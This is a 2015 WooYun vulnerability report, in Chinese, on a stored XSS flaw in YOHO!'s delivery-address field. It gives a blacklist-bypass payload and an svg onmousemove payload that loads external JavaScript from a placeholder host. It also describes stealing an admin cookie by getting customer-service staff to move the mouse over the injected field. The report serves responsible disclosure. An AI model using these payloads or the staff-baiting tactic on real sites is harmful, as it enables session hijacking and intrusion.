当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115135

漏洞标题:yoho!储存型xss绕过过滤加载任意外部js(已打管理员cookie)

相关厂商:YOHO!有货

漏洞作者: ca1n

提交时间:2015-05-20 13:06

修复时间:2015-07-04 13:26

公开时间:2015-07-04 13:26

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-20: 细节已通知厂商并且等待厂商处理中
2015-05-20: 厂商已经确认,细节仅向厂商公开
2015-05-30: 细节向核心白帽子及相关领域专家公开
2015-06-09: 细节向普通白帽子公开
2015-06-19: 细节向实习白帽子公开
2015-07-04: 细节向公众公开

简要描述:

本来想买个东西,点修改地址的时候突然弹了个框 ·hacked by hellen· 吓尿了先 仔细看看是原来fuzz的payload生效了。。那么就好好看看

详细说明:

选择收货地址的时候弹的框,那么就去收获地址看看,一点进去果然弹框了

1.png


看了看发现有一个联系人的收获地址是这样的

2.png


那么就,但是我再提交<script>alert(1)</script>的时候显示了下面这个

3.png


碰见过滤。。但是手动测试了一下发现是黑名单的过滤,而且这里有一个非常奇妙的特性,就是会将<svg>过滤为空,这样的话我们只需要<scri<svg>pt>al<avg>ert(1)</sc<svg>ript>这样就可以绕过了
修改之后replay一下,成功提交

5.png


再查看收货地址的时候触发xss

漏洞证明:

嘛,带着我含有恶意代码的地址去买东西去,结果提交购物车的时候出现这个。。。

6.png


看来这个地址在这里又经过了一次,这里我又想到用<svg>隔断敏感字符,结果这里<svg>原样输出了。。看来方法是不对
但是这里有一个好消息是并没有对我们输入的尖括号转义,这里<svg>原样输出了,说明svg在这里不是关键字了,那么就用没过滤的<svg>构造吧
先搜索了一下svg支持的事件,先试试这里面的

http://group.cnblogs.com/topic/44023.html


发现onmousemove没有被过滤,那么最后构造如下<svg onmousemove="s=createElement('script');body.appendChild(s);s.src='xxx';" width="100%" height="100%">
还好,这里在字符串中的script并没有被黑名单过滤,提交之后再查看订单就看见代码已经成功插入了

7.png


这里触发xss有一个条件就是需要鼠标移动到代码对应的区域,为了增加触发几率,设置width=100% height=100%
=======================================================
等了几天之后发现还没有收到cookie,猜想可能是他们后台自动发货的原因整个过程并没有管理人员的参与
那么就跟客服聊聊天,问一下订单到了没有,这里有一个问题就是,如果直接告诉客服快递单号那么客服会经过一个快递公司的接口查询这样的话并不会返回恶意代码
所以我最后让客服帮忙核对了一下我填写的电话,这里有一个下意识的操作

在检查电话这样的字符串的时候,鼠标会随着自己的视线移动


那么当客服鼠标移动的时候就触发了xss代码,收到cookie了

8.png

修复方案:

首先声明没做坏事。。
测试的时候admin.yohobuy.com这个地址似乎并不能登上去,但是可以收到xss,说明这个是可以由内向外发包,但是限制了外部向内部的请求
不过xss最终目的是加载任意js外部代码,收到cookie说明代码加载成功并触发了,即使不能访问仍然可以通过js做很多事情,比方说通过构造js来进行对内网经行ssrf,希望管理员重视一下吧
修复:
按照前台留言处修复吧

版权声明:转载请注明来源 ca1n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-05-20 13:25

厂商回复:

感谢关注

最新状态:

暂无